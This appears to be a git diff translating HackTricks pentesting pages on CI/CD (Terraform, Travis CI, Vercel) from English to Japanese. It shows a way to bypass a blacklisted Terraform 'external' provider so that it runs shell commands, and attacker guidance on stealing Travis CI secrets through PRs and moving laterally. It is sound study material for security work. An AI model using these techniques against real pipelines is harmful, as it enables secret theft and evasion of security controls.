+`hashicorp/external` がブラックリストに登録されている状況に遭遇した場合、次の手順で `external` プロバイダーを再実装できます。注意: https://registry.terraform.io/providers/nazarewk/external/latest に公開されている external プロバイダーのフォークを使用しています。自分自身のフォークや再実装を公開することもできます。
```terraform
terraform {
- required_providers {
- external = {
- source = "nazarewk/external"
- version = "3.0.0"
- }
- }
+required_providers {
+external = {
+source = "nazarewk/external"
+version = "3.0.0"
+}
+}
}
```
-
-Then you can use `external` as per normal.
-
+その後、通常通り `external` を使用できます。
```terraform
data "external" "example" {
- program = ["sh", "-c", "whoami"]
+program = ["sh", "-c", "whoami"]
}
```
-
-## Automatic Audit Tools
+## 自動監査ツール
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
-Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
-
-- **Features:**
- - Real-time scanning for security vulnerabilities and compliance issues.
- - Integration with version control systems (GitHub, GitLab, Bitbucket).
- - Automated fix pull requests.
- - Detailed remediation advice.
-- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
+Snykは、Terraform、CloudFormation、Kubernetes、およびその他のIaCフォーマットにおける脆弱性と誤設定を検出する包括的なInfrastructure as Code (IaC)スキャンソリューションを提供します。
+- **特徴:**
+- セキュリティ脆弱性とコンプライアンス問題のリアルタイムスキャン。
+- バージョン管理システム(GitHub、GitLab、Bitbucket)との統合。
+- 自動修正プルリクエスト。
+- 詳細な修正アドバイス。
+- **サインアップ:** [Snyk](https://snyk.io/)でアカウントを作成します。
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
-
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
+**Checkov** は、インフラストラクチャをコードとして扱う (IaC) ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析 (SCA) ツールでもあります。
-It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
-
-It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
+これは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または [OpenTofu](https://opentofu.org/) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。
+これは、一般的な脆弱性および露出 (CVE) のためのオープンソースパッケージと画像のスキャンである [ソフトウェア構成分析 (SCA) スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行します。
```bash
pip install checkov
checkov -d /path/to/folder
```
-
### [terraform-compliance](https://github.com/terraform-compliance/cli)
-From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
+From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` は、インフラストラクチャコードに対するネガティブテスト機能を有効にするための、軽量でセキュリティおよびコンプライアンスに焦点を当てたテストフレームワークです。
-- **compliance:** Ensure the implemented code is following security standards, your own custom standards
-- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
-- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
-- **pre-deploy:** it validates your code before it is deployed
-- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
-- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
+- **compliance:** 実装されたコードがセキュリティ基準や独自のカスタム基準に従っていることを確認します
+- **behaviour driven development:** ほぼすべてのものにBDDがありますが、IaCにはなぜないのでしょうか?
+- **portable:** `pip` からインストールするか、`docker` 経由で実行するだけです。 [Installation](https://terraform-compliance.com/pages/installation/) を参照してください
+- **pre-deploy:** デプロイされる前にコードを検証します
+- **easy to integrate:** パイプライン(またはgitフック)で実行でき、すべてのデプロイメントが検証されることを保証します。
+- **segregation of duty:** 別のチームが責任を持つ異なるリポジトリにテストを保持できます。
> [!NOTE]
-> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
-
+> 残念ながら、コードがアクセスできないプロバイダーを使用している場合、`terraform plan` を実行してこのツールを使用することはできません。
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
-
### [tfsec](https://github.com/aquasecurity/tfsec)
-From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
-
-- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
-- ⛔ Hundreds of built-in rules
-- 🪆 Scans modules (local and remote)
-- ➕ Evaluates HCL expressions as well as literal values
-- ↪️ Evaluates Terraform functions e.g. `concat()`
-- 🔗 Evaluates relationships between Terraform resources
-- 🧰 Compatible with the Terraform CDK
-- 🙅 Applies (and embellishes) user-defined Rego policies
-- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
-- 🛠️ Configurable (via CLI flags and/or config file)
-- ⚡ Very fast, capable of quickly scanning huge repositories
+From the [**docs**](https://github.com/aquasecurity/tfsec): tfsecは、あなたのterraformコードの静的分析を使用して、潜在的な誤設定を特定します。
+- ☁️ すべての主要(および一部のマイナー)クラウドプロバイダーにわたる誤設定をチェック
+- ⛔ 数百の組み込みルール
+- 🪆 モジュールをスキャン(ローカルおよびリモート)
+- ➕ HCL式およびリテラル値を評価
+- ↪️ Terraform関数を評価 e.g. `concat()`
+- 🔗 Terraformリソース間の関係を評価
+- 🧰 Terraform CDKと互換性あり
+- 🙅 ユーザー定義のRegoポリシーを適用(および装飾)
+- 📃 複数の出力形式をサポート: lovely(デフォルト)、JSON、SARIF、CSV、CheckStyle、JUnit、text、Gif。
+- 🛠️ 設定可能(CLIフラグおよび/または設定ファイルを介して)
+- ⚡ 非常に高速で、大規模なリポジトリを迅速にスキャン可能
```bash
brew install tfsec
tfsec /path/to/folder
```
-
### [KICKS](https://github.com/Checkmarx/kics)
-Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
-
-**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
+インフラストラクチャコードの開発サイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、Checkmarxの**KICS**を使用してください。
+**KICS**は**K**eeping **I**nfrastructure as **C**ode **S**ecureの略で、オープンソースであり、クラウドネイティブプロジェクトには必須です。
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
-
### [Terrascan](https://github.com/tenable/terrascan)
-From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
-
-- Seamlessly scan infrastructure as code for misconfigurations.
-- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
-- Detect security vulnerabilities and compliance violations.
-- Mitigate risks before provisioning cloud native infrastructure.
-- Offers flexibility to run locally or integrate with your CI\CD.
+From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、以下のことができます:
+- インフラストラクチャをコードとしてシームレスにスキャンし、誤設定を検出します。
+- プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、姿勢の変化を引き起こすものを特定し、安全な姿勢に戻すことを可能にします。
+- セキュリティの脆弱性やコンプライアンス違反を検出します。
+- クラウドネイティブインフラストラクチャをプロビジョニングする前にリスクを軽減します。
+- ローカルで実行する柔軟性や、CI\CDと統合することを提供します。
```bash
brew install terrascan
```
-
-## References
+## 参考文献
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
@@ -310,7 +280,3 @@ brew install terrascan
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index 63a3bb5c8..44b9c6233 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
-Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
+Github PRsは、攻撃者の視点からこれらのプラットフォームをどのように(悪用)するかを説明することを歓迎します。
- Drone
- TeamCity
@@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
- Rancher
- Mesosphere
- Radicle
-- Any other CI/CD platform...
+- その他のCI/CDプラットフォーム...
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index cff623392..fbf15b879 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -4,7 +4,7 @@
## What is TravisCI
-**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
+**Travis CI**は、**ホスティング**または**オンプレミス**の**継続的インテグレーション**サービスで、いくつかの**異なるgitプラットフォーム**にホストされたソフトウェアプロジェクトをビルドおよびテストするために使用されます。
{{#ref}}
basic-travisci-information.md
@@ -14,48 +14,48 @@ basic-travisci-information.md
### Triggers
-To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
+攻撃を開始するには、まずビルドをトリガーする方法を知っておく必要があります。デフォルトでは、TravisCIは**プッシュとプルリクエストでビルドをトリガーします**:
.png>)
#### Cron Jobs
-If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
+ウェブアプリケーションにアクセスできる場合、**ビルドを実行するためのクロンを設定できます**。これは持続性のためやビルドをトリガーするために役立つかもしれません:
.png>)
> [!NOTE]
-> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
+> [これ](https://github.com/travis-ci/travis-ci/issues/9162)によると、`.travis.yml`内でクロンを設定することはできないようです。
### Third Party PR
-TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
+TravisCIはデフォルトで、第三者からのPRと環境変数を共有することを無効にしていますが、誰かがそれを有効にすると、リポジトリにPRを作成して秘密を抽出することができます:
.png>)
### Dumping Secrets
-As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
+[**基本情報**](basic-travisci-information.md)ページで説明されているように、秘密には2種類あります。**環境変数の秘密**(ウェブページにリストされています)と、**カスタム暗号化された秘密**で、これは`.travis.yml`ファイル内にbase64として保存されています(両方とも暗号化されて保存されると、最終的なマシンの環境変数として表示されます)。
-- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
-- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
-- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
+- **環境変数**として設定された**秘密を列挙する**には、**プロジェクト**の**設定**に移動し、リストを確認します。ただし、ここで設定されたすべてのプロジェクトの環境変数は、ビルドをトリガーすると表示されることに注意してください。
+- **カスタム暗号化された秘密**を列挙するには、最善の方法は**`.travis.yml`ファイルを確認する**ことです。
+- **暗号化されたファイル**を列挙するには、リポジトリ内の**`.enc`ファイル**を確認するか、設定ファイル内の`openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d`に似た行を探すか、次のような**環境変数**内の**暗号化されたivとキー**を探します:
.png>)
### TODO:
-- Example build with reverse shell running on Windows/Mac/Linux
-- Example build leaking the env base64 encoded in the logs
+- Windows/Mac/Linuxでリバースシェルを実行する例のビルド
+- ログにエンコードされた環境変数を漏洩させる例のビルド
### TravisCI Enterprise
-If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
+攻撃者が**TravisCIエンタープライズ**を使用している環境に入った場合(これについての詳細は[**基本情報**](basic-travisci-information.md#travisci-enterprise)を参照)、彼は**Workerでビルドをトリガーする**ことができます。これは、攻撃者がそのサーバーに横移動できることを意味し、そこから次のことが可能になります:
-- escape to the host?
-- compromise kubernetes?
-- compromise other machines running in the same network?
-- compromise new cloud credentials?
+- ホストに逃げる?
+- Kubernetesを侵害する?
+- 同じネットワーク内で動作している他のマシンを侵害する?
+- 新しいクラウド資格情報を侵害する?
## References
@@ -63,7 +63,3 @@ If an attacker ends in an environment which uses **TravisCI enterprise** (more i
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 46b10bf38..aa493f433 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -2,47 +2,44 @@
{{#include ../../banners/hacktricks-training.md}}
-## Access
+## アクセス
-TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
+TravisCIは、Github、Bitbucket、Assembla、Gitlabなどのさまざまなgitプラットフォームと直接統合されます。ユーザーにTravisCIが統合したいリポジトリにアクセスするための権限を与えるよう求めます。
-For example, in Github it will ask for the following permissions:
+例えば、Githubでは以下の権限を求めます:
-- `user:email` (read-only)
-- `read:org` (read-only)
-- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
+- `user:email`(読み取り専用)
+- `read:org`(読み取り専用)
+- `repo`:公開およびプライベートリポジトリと組織のコード、コミットステータス、コラボレーター、およびデプロイメントステータスへの読み取りおよび書き込みアクセスを付与します。
-## Encrypted Secrets
+## 暗号化された秘密
-### Environment Variables
+### 環境変数
-In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
+TravisCIでは、他のCIプラットフォームと同様に、**リポジトリレベルで秘密を保存する**ことが可能で、これらは暗号化されて保存され、**ビルドを実行するマシンの環境変数に復号化されてプッシュされます**。
.png>)
-It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
+**秘密が利用可能なブランチを指定する**ことが可能です(デフォルトではすべて)し、またTravisCIが**ログに表示された場合にその値を隠すべきか**(デフォルトでは隠します)も指定できます。
-### Custom Encrypted Secrets
+### カスタム暗号化された秘密
-For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
-
-You can access the public key of one repo with:
+**各リポジトリ**に対して、TravisCIは**RSAキーペア**を生成し、**プライベート**キーを保持し、リポジトリに**アクセス**できる人々にリポジトリの**公開鍵を提供**します。
+リポジトリの公開鍵にアクセスするには、次のようにします:
```
travis pubkey -r /
travis pubkey -r carlospolop/t-ci-test
```
-
-Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
+その後、このセットアップを使用して**秘密を暗号化し、それを`.travis.yaml`に追加することができます**。秘密は**ビルドが実行されるときに復号化され**、**環境変数**でアクセス可能になります。
.png>)
-Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
+この方法で暗号化された秘密は、設定の環境変数にリストされないことに注意してください。
-### Custom Encrypted Files
-
-Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
+### カスタム暗号化ファイル
+以前と同様に、TravisCIは**ファイルを暗号化し、ビルド中に復号化することを許可します**:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -52,7 +49,7 @@ storing secure env variables for decryption
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
- openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
+openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
Pro Tip: You can add it automatically by running with --add.
@@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
-
-Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
+注意:ファイルを暗号化する際、リポジトリ内に2つの環境変数が設定されます。
.png>)
-## TravisCI Enterprise
+## TravisCIエンタープライズ
-Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
+Travis CIエンタープライズは、**Travis CIのオンプレミス版**であり、**あなたのインフラストラクチャ内にデプロイ**できます。Travis CIの「サーバー」版と考えてください。Travis CIを使用することで、あなたが望むように構成およびセキュリティを設定できる環境で、使いやすい継続的インテグレーション/継続的デプロイメント(CI/CD)システムを有効にできます。
-**Travis CI Enterprise consists of two major parts:**
+**Travis CIエンタープライズは2つの主要な部分で構成されています:**
-1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
-2. TCI **Worker** and build environment images (also called OS images).
+1. TCI **サービス**(またはTCIコアサービス)は、バージョン管理システムとの統合、ビルドの認証、ビルドジョブのスケジューリングなどを担当します。
+2. TCI **ワーカー**およびビルド環境イメージ(OSイメージとも呼ばれます)。
-**TCI Core services require the following:**
+**TCIコアサービスには以下が必要です:**
-1. A **PostgreSQL11** (or later) database.
-2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
-3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
+1. **PostgreSQL11**(またはそれ以降)のデータベース。
+2. Kubernetesクラスターをデプロイするためのインフラストラクチャ;必要に応じてサーバークラスターまたは単一のマシンにデプロイできます。
+3. セットアップに応じて、RabbitMQなどのコンポーネントを自分でデプロイおよび構成することを検討するかもしれません - 詳細については[Travis CIエンタープライズの設定](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/)を参照してください。
-**TCI Worker requires the following:**
+**TCIワーカーには以下が必要です:**
-1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
-2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
+1. **ワーカーとリンクされたビルドイメージを含むdockerイメージをデプロイできるインフラストラクチャ**。
+2. 特定のTravis CIコアサービスコンポーネントへの接続 - 詳細については[ワーカーの設定](https://docs.travis-ci.com/user/enterprise/setting-up-worker/)を参照してください。
-The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
+デプロイされたTCIワーカーおよびビルド環境OSイメージの数は、あなたのインフラストラクチャにおけるTravis CIエンタープライズデプロイメントの総同時容量を決定します。
.png>)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 16dc93da7..557f94c11 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -2,440 +2,436 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## 基本情報
-In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
+Vercelでは、**チーム**はクライアントに属する完全な**環境**であり、**プロジェクト**は**アプリケーション**です。
-For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
+**Vercel**のハードニングレビューを行うには、**Viewer role permission**を持つユーザー、または少なくとも**プロジェクトに対するProject viewer permission**を持つユーザーに依頼して、プロジェクトを確認する必要があります(チーム設定も確認する必要がない場合)。
-## Project Settings
+## プロジェクト設定
-### General
+### 一般
-**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
+**目的:** プロジェクト名、フレームワーク、ビルド設定などの基本的なプロジェクト設定を管理します。
-#### Security Configurations:
+#### セキュリティ設定:
-- **Transfer**
- - **Misconfiguration:** Allows to transfer the project to another team
- - **Risk:** An attacker could steal the project
-- **Delete Project**
- - **Misconfiguration:** Allows to delete the project
- - **Risk:** Delete the prject
+- **転送**
+- **誤設定:** プロジェクトを別のチームに転送することを許可します。
+- **リスク:** 攻撃者がプロジェクトを盗む可能性があります。
+- **プロジェクト削除**
+- **誤設定:** プロジェクトを削除することを許可します。
+- **リスク:** プロジェクトが削除される可能性があります。
---
-### Domains
+### ドメイン
-**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
+**目的:** カスタムドメイン、DNS設定、SSL設定を管理します。
-#### Security Configurations:
+#### セキュリティ設定:
-- **DNS Configuration Errors**
- - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- - **Risk:** Domain hijacking, traffic interception, and phishing attacks.
-- **SSL/TLS Certificate Management**
- - **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
-- **DNSSEC Implementation**
- - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
-- **Environment used per domain**
- - **Misconfiguration:** Change the environment used by the domain in production.
- - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
+- **DNS設定エラー**
+- **誤設定:** 悪意のあるサーバーを指す不正確なDNSレコード(A、CNAME)。
+- **リスク:** ドメインハイジャック、トラフィックの傍受、フィッシング攻撃。
+- **SSL/TLS証明書管理**
+- **誤設定:** 弱いまたは期限切れのSSL/TLS証明書を使用します。
+- **リスク:** 中間者攻撃(MITM)に対して脆弱であり、データの整合性と機密性が損なわれる可能性があります。
+- **DNSSEC実装**
+- **誤設定:** DNSSECを有効にしない、または不正確なDNSSEC設定。
+- **リスク:** DNSスプーフィングやキャッシュポイズニング攻撃に対する感受性が高まります。
+- **ドメインごとの使用環境**
+- **誤設定:** 本番環境でドメインが使用する環境を変更します。
+- **リスク:** 本番環境で利用可能であってはならない潜在的な秘密や機能が露出する可能性があります。
---
-### Environments
+### 環境
-**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
+**目的:** 特定の設定と変数を持つ異なる環境(開発、プレビュー、本番)を定義します。
-#### Security Configurations:
+#### セキュリティ設定:
-- **Environment Isolation**
- - **Misconfiguration:** Sharing environment variables across environments.
- - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
-- **Access to Sensitive Environments**
- - **Misconfiguration:** Allowing broad access to production environments.
- - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
+- **環境の分離**
+- **誤設定:** 環境間で環境変数を共有します。
+- **リスク:** 本番の秘密が開発またはプレビュー環境に漏洩し、露出が増加します。
+- **機密環境へのアクセス**
+- **誤設定:** 本番環境への広範なアクセスを許可します。
+- **リスク:** 無許可の変更やライブアプリケーションへのアクセスが可能になり、ダウンタイムやデータ漏洩の可能性があります。
---
-### Environment Variables
+### 環境変数
-**Purpose:** Manage environment-specific variables and secrets used by the application.
+**目的:** アプリケーションで使用される環境固有の変数と秘密を管理します。
-#### Security Configurations:
+#### セキュリティ設定:
-- **Exposing Sensitive Variables**
- - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-- **Sensitive disabled**
- - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
-- **Shared Environment Variables**
- - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **機密変数の露出**
+- **誤設定:** 機密変数に`NEXT_PUBLIC_`をプレフィックスし、クライアント側でアクセス可能にします。
+- **リスク:** APIキー、データベースの資格情報、またはその他の機密データが公開され、データ漏洩につながる可能性があります。
+- **機密無効**
+- **誤設定:** 無効にされている場合(デフォルト)、生成された秘密の値を読み取ることが可能です。
+- **リスク:** 機密情報の偶発的な露出や無許可のアクセスの可能性が高まります。
+- **共有環境変数**
+- **誤設定:** これらはチームレベルで設定された環境変数であり、機密情報を含む可能性があります。
+- **リスク:** 機密情報の偶発的な露出や無許可のアクセスの可能性が高まります。
---
### Git
-**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
+**目的:** Gitリポジトリの統合、ブランチ保護、デプロイメントトリガーを設定します。
-#### Security Configurations:
+#### セキュリティ設定:
-- **Ignored Build Step (TODO)**
- - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- - **Risk:** TBD
+- **無視されたビルドステップ(TODO)**
+- **誤設定:** このオプションは、新しいコミットがGitHubにプッシュされたときに実行されるbashスクリプト/コマンドを設定できるようです。これによりRCEが可能になる可能性があります。
+- **リスク:** TBD
---
-### Integrations
+### 統合
-**Purpose:** Connect third-party services and tools to enhance project functionalities.
+**目的:** プロジェクトの機能を強化するためにサードパーティのサービスやツールを接続します。
-#### Security Configurations:
+#### セキュリティ設定:
-- **Insecure Third-Party Integrations**
- - **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
-- **Over-Permissioned Integrations**
- - **Misconfiguration:** Granting excessive permissions to integrated services.
- - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
-- **Lack of Integration Monitoring**
- - **Misconfiguration:** Failing to monitor and audit third-party integrations.
- - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
+- **安全でないサードパーティ統合**
+- **誤設定:** 信頼できないまたは安全でないサードパーティサービスとの統合。
+- **リスク:** 脆弱性、データ漏洩、または侵害された統合を通じたバックドアの導入。
+- **過剰な権限を持つ統合**
